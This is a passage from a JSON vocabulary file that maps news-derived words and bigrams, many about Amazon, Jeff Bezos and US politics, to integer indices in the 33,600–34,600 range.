assurance\": 33647,\n  \"forays\": 33648,\n  \"bourguignon\": 33649,\n  \"mackey alona\": 33650,\n  \"tv ugly\": 33651,\n  \"fake stories\": 33652,\n  \"wertheimer\": 33653,\n  \"midterms poll\": 33654,\n  \"paper bezos\": 33655,\n  \"mysterious corporate\": 33656,\n  \"confront\": 33657,\n  \"makes lot\": 33658,\n  \"bengaluru\": 33659,\n  \"best thepresident\": 33660,\n  \"lebanon regional\": 33661,\n  \"taiwan holds\": 33662,\n  \"gizmos gadgets\": 33663,\n  \"pharmacy terms\": 33664,\n  \"kingdoms 2019\": 33665,\n  \"month year\": 33666,\n  \"monopolists know\": 33667,\n  \"app used\": 33668,\n  \"466 000\": 33669,\n  \"world sent\": 33670,\n  \"used program\": 33671,\n  \"seize\": 33672,\n  \"makeshift operating\": 33673,\n  \"bur federal\": 33674,\n  \"inspection service\": 33675,\n  \"wenski archbishop\": 33676,\n  \"250 points\": 33677,\n  \"focus list\": 33678,\n  \"visit tubefilter\": 33679,\n  \"defendant\": 33680,\n  \"settings auto\": 33681,\n  \"thrilled bezos\": 33682,\n  \"landover\": 33683,\n  \"mobile carriers\": 33684,\n  \"know dagen\": 33685,\n  \"envelope stood\": 33686,\n  \"country economic\": 33687,\n  \"realistic tiffany\": 33688,\n  \"russians president\": 33689,\n  \"president attention\": 33690,\n  \"sings\": 33691,\n  \"governments fear\": 33692,\n  \"acosta falsely\": 33693,\n  \"words sinclair\": 33694,\n  \"london swedish\": 33695,\n  \"sun valley\": 33696,\n  \"outlook fell\": 33697,\n  \"brilliantly colored\": 33698,\n  \"physically\": 33699,\n  \"markup language\": 33700,\n  \"retirees according\": 33701,\n  \"moore imaginative\": 33702,\n  \"kuttner\": 33703,\n  \"tallied\": 33704,\n  \"firm link\": 33705,\n  \"comments moving\": 33706,\n  \"expensive alternatives\": 33707,\n  \"leaning news\": 33708,\n  \"snap sharply\": 33709,\n  \"mayor mark\": 33710,\n  \"labor unions\": 33711,\n  \"vantaa airport\": 33712,\n  \"delivers beautifully\": 33713,\n  \"lachlan markay\": 33714,\n  \"quarter tied\": 33715,\n  \"eroding public\": 33716,\n  \"accused\": 33717,\n  \"murder mean\": 33718,\n  \"daily blast\": 33719,\n  \"stevekornacki\": 33720,\n  \"dzyf4hyii1\": 33721,\n  \"calia contributed\": 33722,\n  \"img_gettyflag true\": 33723,\n  \"buyer freddie\": 33724,\n  \"115 million\": 33725,\n  \"politically fortuitous\": 33726,\n  \"acquire new\": 33727,\n  \"added did\": 33728,\n  \"repetition\": 33729,\n  \"psychological horror\": 33730,\n  \"recap amazon\": 33731,\n  \"bezos heeds\": 33732,\n  \"hushing things\": 33733,\n  \"skull referring\": 33734,\n  \"srussia\": 33735,\n  \"jeanne shaheen\": 33736,\n  \"house report\": 33737,\n  \"rentand calls\": 33738,\n  \"bathrobes\": 33739,\n  \"money wire\": 33740,\n  \"unveils\": 33741,\n  \"amzn trump\": 33742,\n  \"having finished\": 33743,\n  \"data including\": 33744,\n  \"comment scott\": 33745,\n  \"statements trump\": 33746,\n  \"slavish devotion\": 33747,\n  \"hair just\": 33748,\n  \"raising interesting\": 33749,\n  \"andrew wiseman\": 33750,\n  \"asking ceo\": 33751,\n  \"democrat response\": 33752,\n  \"jackson love\": 33753,\n  \"million turning\": 33754,\n  \"estate interests\": 33755,\n  \"highlander\": 33756,\n  \"deputies environment\": 33757,\n  \"outstretched book\": 33758,\n  \"extent\": 33759,\n  \"5442\": 33760,\n  \"laws designed\": 33761,\n  \"possible garner\": 33762,\n  \"trump ctl\": 33763,\n  \"america huge\": 33764,\n  \"employee worked\": 33765,\n  \"large uptake\": 33766,\n  \"roman\": 33767,\n  \"rasing\": 33768,\n  \"report 249\": 33769,\n  \"eventually surpass\": 33770,\n  \"disclose bezos\": 33771,\n  \"forces sweetgreen\": 33772,\n  \"8billion\": 33773,\n  \"multicarrier\": 33774,\n  \"split win\": 33775,\n  \"health policy\": 33776,\n  \"little drunk\": 33777,\n  \"intercepted texts\": 33778,\n  \"prosecution bezos\": 33779,\n  \"separated according\": 33780,\n  \"2018 highs\": 33781,\n  \"wrote morningstar\": 33782,\n  \"anau footy\": 33783,\n  \"regarding existing\": 33784,\n  \"peso weakened\": 33785,\n  \"gop compromise\": 33786,\n  \"averages rely\": 33787,\n  \"safe boy\": 33788,\n  \"giant netflix\": 33789,\n  \"neighborhood household\": 33790,\n  \"epa inaction\": 33791,\n  \"mental property\": 33792,\n  \"cube\": 33793,\n  \"state residents\": 33794,\n  \"capernaum\": 33795,\n  \"bezos questionable\": 33796,\n  \"northwest global\": 33797,\n  \"everyday aspects\": 33798,\n  \"tempted\": 33799,\n  \"propose plan\": 33800,\n  \"finger directly\": 33801,\n  \"kwan\": 33802,\n  \"lambast amazon\": 33803,\n  \"statement says\": 33804,\n  \"obstructjustice begin\": 33805,\n  \"improvements similar\": 33806,\n  \"timothy hutton\": 33807,\n  \"iran threatens\": 33808,\n  \"past governors\": 33809,\n  \"dickerson welcome\": 33810,\n  \"graphic descriptions\": 33811,\n  \"437 shares\": 33812,\n  \"kept sucking\": 33813,\n  \"corp dethroned\": 33814,\n  \"buy 100\": 33815,\n  \"contributor paulette\": 33816,\n  \"claims examining\": 33817,\n  \"second biggest\": 33818,\n  \"shutdown trump\": 33819,\n  \"autistic teenager\": 33820,\n  \"planning news\": 33821,\n  \"natural bedfellows\": 33822,\n  \"roadways stressed\": 33823,\n  \"oliphant\": 33824,\n  \"inhibit\": 33825,\n  \"amazon nears\": 33826,\n  \"continued momentum\": 33827,\n  \"maine\": 33828,\n  \"draw government\": 33829,\n  \"working closely\": 33830,\n  \"sarno jordan\": 33831,\n  \"entangles\": 33832,\n  \"average jane\": 33833,\n  \"retail killing\": 33834,\n  \"purcell\": 33835,\n  \"cotton corn\": 33836,\n  \"suspects\": 33837,\n  \"company wants\": 33838,\n  \"pundits wish\": 33839,\n  \"taxing large\": 33840,\n  \"woodrow\": 33841,\n  \"appalling conditions\": 33842,\n  \"free donut\": 33843,\n  \"ibuprofen famotidine\": 33844,\n  \"manpower\": 33845,\n  \"human resource\": 33846,\n  \"storytelling 100\": 33847,\n  \"border ecommerce\": 33848,\n  \"kopaloff wireimage\": 33849,\n  \"leaping campus\": 33850,\n  \"year search\": 33851,\n  \"harvest public\": 33852,\n  \"bain capital\": 33853,\n  \"old post\": 33854,\n  \"needless\": 33855,\n  \"bilateral\": 33856,\n  \"centers offering\": 33857,\n  \"trump proposal\": 33858,\n  \"tininess\": 33859,\n  \"little matter\": 33860,\n  \"make cash\": 33861,\n  \"sourcename cnn\": 33862,\n  \"amazon sboss\": 33863,\n  \"journalism abramowitz\": 33864,\n  \"regarding prime\": 33865,\n  \"look away\": 33866,\n  \"families claim\": 33867,\n  \"falsify\": 33868,\n  \"alliance griffeth\": 33869,\n  \"spends millions\": 33870,\n  \"learned\": 33871,\n  \"unlucky leprechaun\": 33872,\n  \"eccentric movie\": 33873,\n  \"manage effectively\": 33874,\n  \"chop\": 33875,\n  \"pivotal midterm\": 33876,\n  \"making statement\": 33877,\n  \"cvs stock\": 33878,\n  \"adviser\": 33879,\n  \"million suicide\": 33880,\n  \"television article\": 33881,\n  \"decade long\": 33882,\n  \"law allows\": 33883,\n  \"small selection\": 33884,\n  \"wong excels\": 33885,\n  \"additional surcharges\": 33886,\n  \"alderson\": 33887,\n  \"epi mcnicholas\": 33888,\n  \"editors brett\": 33889,\n  \"orisha\": 33890,\n  \"kenzie bryant\": 33891,\n  \"reeves film\": 33892,\n  \"t000047682 t000138309\": 33893,\n  \"marketplace earlier\": 33894,\n  \"capital world\": 33895,\n  \"trump 1987\": 33896,\n  \"book stern\": 33897,\n  \"nazi kkk\": 33898,\n  \"nations hit\": 33899,\n  \"popular chinese\": 33900,\n  \"reproach snipes\": 33901,\n  \"kevin cullen\": 33902,\n  \"error console\": 33903,\n  \"form app\": 33904,\n  \"online retailing\": 33905,\n  \"inexpensive dues\": 33906,\n  \"lights vera\": 33907,\n  \"shipping businesses\": 33908,\n  \"emergency united\": 33909,\n  \"yorkers problems\": 33910,\n  \"ulrich common\": 33911,\n  \"beautifully written\": 33912,\n  \"unfolding death\": 33913,\n  \"handleadoncvpvisibilitychange\": 33914,\n  \"company credit\": 33915,\n  \"mouthpieces kellyanne\": 33916,\n  \"technologies pitches\": 33917,\n  \"6pm 6pm\": 33918,\n  \"considered better\": 33919,\n  \"soared\": 33920,\n  \"tougher approach\": 33921,\n  \"explained read\": 33922,\n  \"story analysts\": 33923,\n  \"british\": 33924,\n  \"global store\": 33925,\n  \"6605745 jeff\": 33926,\n  \"recent pirates\": 33927,\n  \"weakest quarter\": 33928,\n  \"offering evidence\": 33929,\n  \"report eunice\": 33930,\n  \"tenuous premise\": 33931,\n  \"volume states\": 33932,\n  \"inappropriate legitimacy\": 33933,\n  \"craft cocktails\": 33934,\n  \"hold gigantic\": 33935,\n  \"marthaw marthawharton3\": 33936,\n  \"black lives\": 33937,\n  \"draw attention\": 33938,\n  \"space conference\": 33939,\n  \"federal deferred\": 33940,\n  \"comment follow\": 33941,\n  \"wizards 125\": 33942,\n  \"despite brennan\": 33943,\n  \"moose party\": 33944,\n  \"cnn videoid\": 33945,\n  \"letters fewer\": 33946,\n  \"aol\": 33947,\n  \"young amazon\": 33948,\n  \"commons votes\": 33949,\n  \"small shopping\": 33950,\n  \"vietnamese cuisine\": 33951,\n  \"santare\": 33952,\n  \"days thanks\": 33953,\n  \"military industrial\": 33954,\n  \"ny yes\": 33955,\n  \"dissect\": 33956,\n  \"nielsen saying\": 33957,\n  \"employee practices\": 33958,\n  \"online prices\": 33959,\n  \"say mean\": 33960,\n  \"extremely long\": 33961,\n  \"google intellectual\": 33962,\n  \"month shooting\": 33963,\n  \"retweets trump\": 33964,\n  \"desloge\": 33965,\n  \"day hit\": 33966,\n  \"puts toronto\": 33967,\n  \"bring trump\": 33968,\n  \"hostile new\": 33969,\n  \"website categorized\": 33970,\n  \"kumar parameswaran\": 33971,\n  \"postal regulation\": 33972,\n  \"facebook initiated\": 33973,\n  \"soviet president\": 33974,\n  \"engagement military\": 33975,\n  \"complete routes\": 33976,\n  \"certain conditions\": 33977,\n  \"reagan nightly\": 33978,\n  \"matter according\": 33979,\n  \"clicking add\": 33980,\n  \"company lobbying\": 33981,\n  \"gillian flynn\": 33982,\n  \"year unlike\": 33983,\n  \"brown simpson\": 33984,\n  \"york trading\": 33985,\n  \"uranium mines\": 33986,\n  \"president reporting\": 33987,\n  \"samaritans\": 33988,\n  \"political careers\": 33989,\n  \"gerald bruce\": 33990,\n  \"trouble happening\": 33991,\n  \"false overmediatext\": 33992,\n  \"google president\": 33993,\n  \"spreads\": 33994,\n  \"support colonies\": 33995,\n  \"suggested comcast\": 33996,\n  \"rep maloney\": 33997,\n  \"barriers intellectual\": 33998,\n  \"wished jeff\": 33999,\n  \"dallas ap\": 34000,\n  \"zuckerberg announced\": 34001,\n  \"treasury suggests\": 34002,\n  \"dakota businessman\": 34003,\n  \"balance debilitating\": 34004,\n  \"signs pictured\": 34005,\n  \"nearly 105\": 34006,\n  \"don recognize\": 34007,\n  \"starbucks rival\": 34008,\n  \"president attempted\": 34009,\n  \"journalism tech\": 34010,\n  \"initial approval\": 34011,\n  \"later choose\": 34012,\n  \"homepage google\": 34013,\n  \"violence bolsonaro\": 34014,\n  \"past particularly\": 34015,\n  \"enemy washington\": 34016,\n  \"meaningful near\": 34017,\n  \"financial burdens\": 34018,\n  \"google reported\": 34019,\n  \"cofounder larry\": 34020,\n  \"avoids taxes\": 34021,\n  \"business mornings\": 34022,\n  \"big muckerman\": 34023,\n  \"obama associates\": 34024,\n  \"post headlines\": 34025,\n  \"fulfilled\": 34026,\n  \"platforms personal\": 34027,\n  \"louis fed\": 34028,\n  \"book promise\": 34029,\n  \"joseph stalin\": 34030,\n  \"backed giving\": 34031,\n  \"roig\": 34032,\n  \"election security\": 34033,\n  \"senator emphasized\": 34034,\n  \"spread propaganda\": 34035,\n  \"trump alice\": 34036,\n  \"months calling\": 34037,\n  \"abruptly fell\": 34038,\n  \"secular decline\": 34039,\n  \"delivery fees\": 34040,\n  \"paid entertainment\": 34041,\n  \"everyday dorie\": 34042,\n  \"return acosta\": 34043,\n  \"vehicles involved\": 34044,\n  \"book new\": 34045,\n  \"debicki\": 34046,\n  \"subsistence\": 34047,\n  \"wages raise\": 34048,\n  \"imf managing\": 34049,\n  \"collecting data\": 34050,\n  \"statewide strike\": 34051,\n  \"unusual happened\": 34052,\n  \"sold 450\": 34053,\n  \"backpack sack\": 34054,\n  \"creditjohannes eisele\": 34055,\n  \"hine llc\": 34056,\n  \"radio program\": 34057,\n  \"steep decline\": 34058,\n  \"trump compelled\": 34059,\n  \"jani ziedins\": 34060,\n  \"new shepard\": 34061,\n  \"broadly consistent\": 34062,\n  \"publish titled\": 34063,\n  \"learned doing\": 34064,\n  \"gathers\": 34065,\n  \"brexit according\": 34066,\n  \"aspiring entrepreneurs\": 34067,\n  \"world strange\": 34068,\n  \"deteriorating relationship\": 34069,\n  \"earned credits\": 34070,\n  \"trifecta\": 34071,\n  \"novey culturally\": 34072,\n  \"raised questions\": 34073,\n  \"free advertising\": 34074,\n  \"duhigg\": 34075,\n  \"magazine\": 34076,\n  \"fil\": 34077,\n  \"scandal brewing\": 34078,\n  \"lauderdale high\": 34079,\n  \"wilson aug\": 34080,\n  \"reveal texts\": 34081,\n  \"p8 w4\": 34082,\n  \"passions\": 34083,\n  \"jack\": 34084,\n  \"nearby astoria\": 34085,\n  \"business shares\": 34086,\n  \"bitter\": 34087,\n  \"just handful\": 34088,\n  \"futures house\": 34089,\n  \"trump fans\": 34090,\n  \"normal text\": 34091,\n  \"trade early\": 34092,\n  \"nationwide sears\": 34093,\n  \"center business\": 34094,\n  \"report republicans\": 34095,\n  \"bernstein sen\": 34096,\n  \"happens state\": 34097,\n  \"recording immigrants\": 34098,\n  \"norahodonnell paulareidcbs\": 34099,\n  \"scheme president\": 34100,\n  \"entire aspect\": 34101,\n  \"times expos\\u00e9\": 34102,\n  \"wages sanders\": 34103,\n  \"hated\": 34104,\n  \"retweets reads\": 34105,\n  \"issues facebook\": 34106,\n  \"crisp\": 34107,\n  \"button debates\": 34108,\n  \"development little\": 34109,\n  \"increased investment\": 34110,\n  \"wyle\": 34111,\n  \"crucial difference\": 34112,\n  \"yes yes\": 34113,\n  \"harris coverage\": 34114,\n  \"social impact\": 34115,\n  \"economic mission\": 34116,\n  \"cause sen\": 34117,\n  \"blogs images\": 34118,\n  \"320 000\": 34119,\n  \"free shops\": 34120,\n  \"centene wsj\": 34121,\n  \"ellison ex\": 34122,\n  \"aapl ticker\": 34123,\n  \"best stocks\": 34124,\n  \"powerport\": 34125,\n  \"house nan\": 34126,\n  \"relatives netflix\": 34127,\n  \"popular target\": 34128,\n  \"man shouted\": 34129,\n  \"stayed silent\": 34130,\n  \"server719400 server719401\": 34131,\n  \"detective finds\": 34132,\n  \"skyhorse did\": 34133,\n  \"tracks book\": 34134,\n  \"kane senior\": 34135,\n  \"thing thought\": 34136,\n  \"rep henry\": 34137,\n  \"land titles\": 34138,\n  \"consumer expansion\": 34139,\n  \"headlines season\": 34140,\n  \"house deputy\": 34141,\n  \"league defends\": 34142,\n  \"spring\": 34143,\n  \"jussie\": 34144,\n  \"association winter\": 34145,\n  \"faced complaints\": 34146,\n  \"amazon readers\": 34147,\n  \"willingness\": 34148,\n  \"senator suggestion\": 34149,\n  \"sits\": 34150,\n  \"china female\": 34151,\n  \"rfe rl\": 34152,\n  \"alli says\": 34153,\n  \"solely inform\": 34154,\n  \"icy words\": 34155,\n  \"alaska today\": 34156,\n  \"members showed\": 34157,\n  \"bezos family\": 34158,\n  \"provise\": 34159,\n  \"success amazon\": 34160,\n  \"bad press\": 34161,\n  \"wouldn\": 34162,\n  \"president personally\": 34163,\n  \"million accounts\": 34164,\n  \"tariffs reuters\": 34165,\n  \"probe sally\": 34166,\n  \"aclu matt\": 34167,\n  \"unsuccessful protest\": 34168,\n  \"incident\": 34169,\n  \"support right\": 34170,\n  \"man called\": 34171,\n  \"futures nasdaq\": 34172,\n  \"email bezos\": 34173,\n  \"minister john\": 34174,\n  \"delivery rates\": 34175,\n  \"tightfistedness eleventh\": 34176,\n  \"journal nature\": 34177,\n  \"suggesting record\": 34178,\n  \"president andrea\": 34179,\n  \"rose 287\": 34180,\n  \"frauds\": 34181,\n  \"transportation case\": 34182,\n  \"act herera\": 34183,\n  \"stefanik voted\": 34184,\n  \"certain future\": 34185,\n  \"families homeless\": 34186,\n  \"gmt woodbridge\": 34187,\n  \"took amazon\": 34188,\n  \"blue suit\": 34189,\n  \"people held\": 34190,\n  \"involvement pay\": 34191,\n  \"reacted angrily\": 34192,\n  \"brazilian presidential\": 34193,\n  \"dod technology\": 34194,\n  \"catherine price\": 34195,\n  \"seeing proliferation\": 34196,\n  \"preside jeff\": 34197,\n  \"android mobile\": 34198,\n  \"film success\": 34199,\n  \"primer buyer\": 34200,\n  \"utility taxes\": 34201,\n  \"2015et\": 34202,\n  \"priceline earn\": 34203,\n  \"mueller\": 34204,\n  \"good cop\": 34205,\n  \"photos qualify\": 34206,\n  \"embarrassment\": 34207,\n  \"young talented\": 34208,\n  \"wage record\": 34209,\n  \"sources including\": 34210,\n  \"recent bans\": 34211,\n  \"president congratulates\": 34212,\n  \"rowan county\": 34213,\n  \"berlin slide\": 34214,\n  \"opinions amazon\": 34215,\n  \"violence 2224\": 34216,\n  \"journal kavanaugh\": 34217,\n  \"bourdain parts\": 34218,\n  \"line rickjnewman\": 34219,\n  \"snl skit\": 34220,\n  \"man donald\": 34221,\n  \"financial conditions\": 34222,\n  \"sized supermarket\": 34223,\n  \"actually eased\": 34224,\n  \"company won\": 34225,\n  \"frames frames\": 34226,\n  \"purvis garden\": 34227,\n  \"founder expressed\": 34228,\n  \"donaldtrump\": 34229,\n  \"introduce\": 34230,\n  \"minute single\": 34231,\n  \"getting warmed\": 34232,\n  \"kamala harris\": 34233,\n  \"perform seasonal\": 34234,\n  \"enormous diversion\": 34235,\n  \"racial ethnic\": 34236,\n  \"better dosomething\": 34237,\n  \"teen years\": 34238,\n  \"schooler\": 34239,\n  \"recruit cabinet\": 34240,\n  \"collectively promised\": 34241,\n  \"600x400 turning_point_taylor_collins_poster_600_387892\": 34242,\n  \"prompt republicans\": 34243,\n  \"brand chloe\": 34244,\n  \"new carbon\": 34245,\n  \"cronyism idea\": 34246,\n  \"comment amazon\": 34247,\n  \"moving overseas\": 34248,\n  \"linda sarsour\": 34249,\n  \"amzn googl\": 34250,\n  \"major climate\": 34251,\n  \"710\": 34252,\n  \"stanford\": 34253,\n  \"tax credit\": 34254,\n  \"confronted gun\": 34255,\n  \"secret alexa\": 34256,\n  \"good brief\": 34257,\n  \"sec northeast\": 34258,\n  \"tu really\": 34259,\n  \"elena allbritton\": 34260,\n  \"rush braintree\": 34261,\n  \"sipped\": 34262,\n  \"splashes\": 34263,\n  \"gossipy\": 34264,\n  \"point possibly\": 34265,\n  \"interior department\": 34266,\n  \"cpi\": 34267,\n  \"perch\": 34268,\n  \"repeatedly stressed\": 34269,\n  \"competitors bezos\": 34270,\n  \"rounding\": 34271,\n  \"described amazon\": 34272,\n  \"state stands\": 34273,\n  \"designed republican\": 34274,\n  \"political superpowers\": 34275,\n  \"peculiar glee\": 34276,\n  \"best kinja\": 34277,\n  \"hook elementary\": 34278,\n  \"publish compromising\": 34279,\n  \"oliver\": 34280,\n  \"pervasive virtual\": 34281,\n  \"2018 trying\": 34282,\n  \"tim tebow\": 34283,\n  \"tribune nation\": 34284,\n  \"connecticut police\": 34285,\n  \"harris vice\": 34286,\n  \"investigators determined\": 34287,\n  \"bicycles especially\": 34288,\n  \"gloriously bright\": 34289,\n  \"vietnamese airlines\": 34290,\n  \"increased penetration\": 34291,\n  \"sectors endure\": 34292,\n  \"continues palantir\": 34293,\n  \"children pillows\": 34294,\n  \"explosive growth\": 34295,\n  \"glaring proof\": 34296,\n  \"agents approach\": 34297,\n  \"market government\": 34298,\n  \"jonathan lemire\": 34299,\n  \"greer good\": 34300,\n  \"320 million\": 34301,\n  \"google speaks\": 34302,\n  \"today griping\": 34303,\n  \"complication\": 34304,\n  \"package subsidy\": 34305,\n  \"portable water\": 34306,\n  \"online deriding\": 34307,\n  \"nextday\": 34308,\n  \"personally built\": 34309,\n  \"novartis agreed\": 34310,\n  \"casinos\": 34311,\n  \"election outcome\": 34312,\n  \"ambani new\": 34313,\n  \"action immediately\": 34314,\n  \"applies\": 34315,\n  \"indicate social\": 34316,\n  \"world uks\": 34317,\n  \"reaffirm\": 34318,\n  \"nonsense increasingly\": 34319,\n  \"bezos feared\": 34320,\n  \"forcing millions\": 34321,\n  \"question probably\": 34322,\n  \"trump proudly\": 34323,\n  \"suffered\": 34324,\n  \"medical service\": 34325,\n  \"computing work\": 34326,\n  \"prescription medications\": 34327,\n  \"richelieu dennis\": 34328,\n  \"house msnbc\": 34329,\n  \"versus q4\": 34330,\n  \"payrolls\": 34331,\n  \"tout job\": 34332,\n  \"reality check\": 34333,\n  \"amazon reports\": 34334,\n  \"calculate\": 34335,\n  \"microsoft apple\": 34336,\n  \"amazon anticipates\": 34337,\n  \"donkey southern\": 34338,\n  \"way correspondence\": 34339,\n  \"tracy maitland\": 34340,\n  \"effect number\": 34341,\n  \"840\": 34342,\n  \"cool place\": 34343,\n  \"nonunion\": 34344,\n  \"sthash 4dg3xiy6\": 34345,\n  \"draft\": 34346,\n  \"amazing accomplishment\": 34347,\n  \"explicit texts\": 34348,\n  \"jobs amazon\": 34349,\n  \"albeit briefly\": 34350,\n  \"particularly strong\": 34351,\n  \"privately\": 34352,\n  \"se\": 34353,\n  \"sexual\": 34354,\n  \"businesses remember\": 34355,\n  \"protocols\": 34356,\n  \"certain break\": 34357,\n  \"recovery\": 34358,\n  \"reserve says\": 34359,\n  \"e3 function\": 34360,\n  \"1m75ubx want\": 34361,\n  \"yes stands\": 34362,\n  \"huge sums\": 34363,\n  \"morgan chase\": 34364,\n  \"jingoism\": 34365,\n  \"big european\": 34366,\n  \"distracted\": 34367,\n  \"distortion right\": 34368,\n  \"median eps\": 34369,\n  \"reduced rates\": 34370,\n  \"hugo\": 34371,\n  \"legal teams\": 34372,\n  \"incorporating\": 34373,\n  \"state sen\": 34374,\n  \"stay true\": 34375,\n  \"shit says\": 34376,\n  \"summit vietnam\": 34377,\n  \"bowl win\": 34378,\n  \"huge perk\": 34379,\n  \"donkeys claimed\": 34380,\n  \"work exclusively\": 34381,\n  \"original expos\\u00e9\": 34382,\n  \"ol\": 34383,\n  \"autostart true\": 34384,\n  \"vukmir wins\": 34385,\n  \"incapable\": 34386,\n  \"earnings announcing\": 34387,\n  \"alleged mistresses\": 34388,\n  \"dollars lost\": 34389,\n  \"month ge\": 34390,\n  \"10best cruise\": 34391,\n  \"prices brexit\": 34392,\n  \"isn exactly\": 34393,\n  \"year secured\": 34394,\n  \"year earlier\": 34395,\n  \"chips starting\": 34396,\n  \"corrective\": 34397,\n  \"fatal overdoses\": 34398,\n  \"workedvery\": 34399,\n  \"petty dabbler\": 34400,\n  \"scoring telco\": 34401,\n  \"dials\": 34402,\n  \"coolers\": 34403,\n  \"setbacks\": 34404,\n  \"logo referring\": 34405,\n  \"tom lovejoy\": 34406,\n  \"profits totaling\": 34407,\n  \"government pays\": 34408,\n  \"google rigged\": 34409,\n  \"reported memo\": 34410,\n  \"highest earning\": 34411,\n  \"remover\": 34412,\n  \"intended harsh\": 34413,\n  \"price 392\": 34414,\n  \"relocate\": 34415,\n  \"seriously wood\": 34416,\n  \"hitting youngstown\": 34417,\n  \"forged\": 34418,\n  \"difficult times\": 34419,\n  \"dollar market\": 34420,\n  \"split internally\": 34421,\n  \"cronyisms uber\": 34422,\n  \"sanders characterization\": 34423,\n  \"legislative branch\": 34424,\n  \"chemicals posed\": 34425,\n  \"michael udine\": 34426,\n  \"policy questions\": 34427,\n  \"generously\": 34428,\n  \"deliveries amazon\": 34429,\n  \"postpone\": 34430,\n  \"pack stelter\": 34431,\n  \"secular characteristics\": 34432,\n  \"straight talk\": 34433,\n  \"worker status\": 34434,\n  \"ryan hendrixson\": 34435,\n  \"sessions leaves\": 34436,\n  \"black hole\": 34437,\n  \"odom\": 34438,\n  \"racer\": 34439,\n  \"market gauges\": 34440,\n  \"lighthizer trade\": 34441,\n  \"jeremycorbyn\": 34442,\n  \"look good\": 34443,\n  \"jeff zucker\": 34444,\n  \"unclassified\": 34445,\n  \"3rd representative\": 34446,\n  \"variants\": 34447,\n  \"formatted_text\": 34448,\n  \"way thought\": 34449,\n  \"ecuador embassy\": 34450,\n  \"pret manger\": 34451,\n  \"spain 800\": 34452,\n  \"honolulu\": 34453,\n  \"consider wide\": 34454,\n  \"maker tiffany\": 34455,\n  \"sole reason\": 34456,\n  \"1959 novel\": 34457,\n  \"business lines\": 34458,\n  \"reports brennan\": 34459,\n  \"deeper understanding\": 34460,\n  \"endow\": 34461,\n  \"rob manning\": 34462,\n  \"conservative tilt\": 34463,\n  \"avoiding\": 34464,\n  \"palm beach\": 34465,\n  \"ice director\": 34466,\n  \"bus does\": 34467,\n  \"online vendors\": 34468,\n  \"amazon golden\": 34469,\n  \"precise details\": 34470,\n  \"cnn incoming\": 34471,\n  \"military bases\": 34472,\n  \"paper critical\": 34473,\n  \"crack daring\": 34474,\n  \"makes razor\": 34475,\n  \"possible antitrust\": 34476,\n  \"brown dave_brown24\": 34477,\n  \"braid\": 34478,\n  \"airport professional\": 34479,\n  \"york senate\": 34480,\n  \"board decided\": 34481,\n  \"addresses issues\": 34482,\n  \"board\": 34483,\n  \"satanic content\": 34484,\n  \"illinois nazi\": 34485,\n  \"plc 2019\": 34486,\n  \"change american\": 34487,\n  \"satan\": 34488,\n  \"shea moody\": 34489,\n  \"philippines based\": 34490,\n  \"onward\": 34491,\n  \"splintering state\": 34492,\n  \"wife anne\": 34493,\n  \"protracted legal\": 34494,\n  \"cnn poliltical\": 34495,\n  \"remarkable service\": 34496,\n  \"indistinct\": 34497,\n  \"piece possible\": 34498,\n  \"scenario proponents\": 34499,\n  \"170 shares\": 34500,\n  \"undo buttons\": 34501,\n  \"analyst firm\": 34502,\n  \"burn\": 34503,\n  \"effects impossible\": 34504,\n  \"says game\": 34505,\n  \"sino trade\": 34506,\n  \"adding million\": 34507,\n  \"child haven\": 34508,\n  \"portal beginning\": 34509,\n  \"suggests yes\": 34510,\n  \"peter van\": 34511,\n  \"vimeo anthony\": 34512,\n  \"quality standards\": 34513,\n  \"employee campus\": 34514,\n  \"uptick\": 34515,\n  \"seesawing\": 34516,\n  \"individuals saved\": 34517,\n  \"pediatric oncology\": 34518,\n  \"pushback marked\": 34519,\n  \"governor weld\": 34520,\n  \"site breitbart\": 34521,\n  \"curate trumpelthinskin\": 34522,\n  \"portfolio 058\": 34523,\n  \"descendants\": 34524,\n  \"seen strong\": 34525,\n  \"shabolubalu million\": 34526,\n  \"jack dorsey\": 34527,\n  \"dissolving big\": 34528,\n  \"pivoted ignoring\": 34529,\n  \"2113\": 34530,\n  \"online alleging\": 34531,\n  \"manufacturing bases\": 34532,\n  \"politics sections\": 34533,\n  \"small fry\": 34534,\n  \"budget omb\": 34535,\n  \"stack\": 34536,\n  \"romm\": 34537,\n  \"price changes\": 34538,\n  \"stole nearly\": 34539,\n  \"closed doors\": 34540,\n  \"pronounced gain\": 34541,\n  \"parent snap\": 34542,\n  \"factory today\": 34543,\n  \"lehrer believe\": 34544,\n  \"amazon essentials\": 34545,\n  \"building rail\": 34546,\n  \"amazon amazon\": 34547,\n  \"pimentel\": 34548,\n  \"stake pr\": 34549,\n  \"alert app\": 34550,\n  \"bezos determination\": 34551,\n  \"rising debt\": 34552,\n  \"cause versus\": 34553,\n  \"survival amazon\": 34554,\n  \"specific parties\": 34555,\n  \"millionaire deter\": 34556,\n  \"choice positive\": 34557,\n  \"email sen\": 34558,\n  \"recommending potential\": 34559,\n  \"business someday\": 34560,\n  \"according new\": 34561,\n  \"vragen\": 34562,\n  \"instagram face\": 34563,\n  \"passengers stranded\": 34564,\n  \"fall river\": 34565,\n  \"dominant decade\": 34566,\n  \"subjective gender\": 34567,\n  \"privileged culture\": 34568,\n  \"tyko\": 34569,\n  \"copy friend\": 34570,\n  \"lecher reported\": 34571,\n  \"woven\": 34572,\n  \"kohl combos\": 34573,\n  \"party murdered\": 34574,\n  \"given month\": 34575,\n  \"recap today\": 34576,\n  \"cve eve\": 34577,\n  \"afp beverly\": 34578,\n  \"marys\": 34579,\n  \"market view\": 34580,\n  \"accepting responsibility\": 34581,\n  \"plan includes\": 34582,\n  \"bezos playing\": 34583,\n  \"tsai\": 34584,\n  \"islands small\": 34585,\n  \"saying chairman\": 34586,\n  \"developer\": 34587,\n  \"cnn acosta\": 34588,\n  \"negotiate\": 34589,\n  \"signed recently\": 34590,\n  \"tell axios\": 34591,\n  \"major subject\": 34592,\n  \"bots\": 34593,\n  \"obamacare trump\": 34594,\n  \"travelhost\": 34595,\n  \"pecker approved\": 34596,\n  \"chicago barack\": 34597,\n  \"866 billion\": 34598,\n  \"known philanthropic\": 34599,\n  \"executive action\": 34600,\n  \"wholesale marked\": 34601,\n  \"huckleberry finn\": 34602,\n  \"desmond\": 34603,\n  \"really good\": 34604,\n  \"photo ted\": 34605,\n  \"irs database\": 34606,\n  \"drastically\": 34607,\n  \"corrupt crony\": 34608,\n  \"t000181710 t000040342\": 34609,\n  \"ksh\": 34610,\n  \"inequity shows\": 34611,\n  \"wwe\": 34612,\n  \"postmedia\": 34613,\n  \"products bought\": 34614,\n  \"blasio aide\": 34615,\n  \"solarcity\": 34616,\n  \"frequently 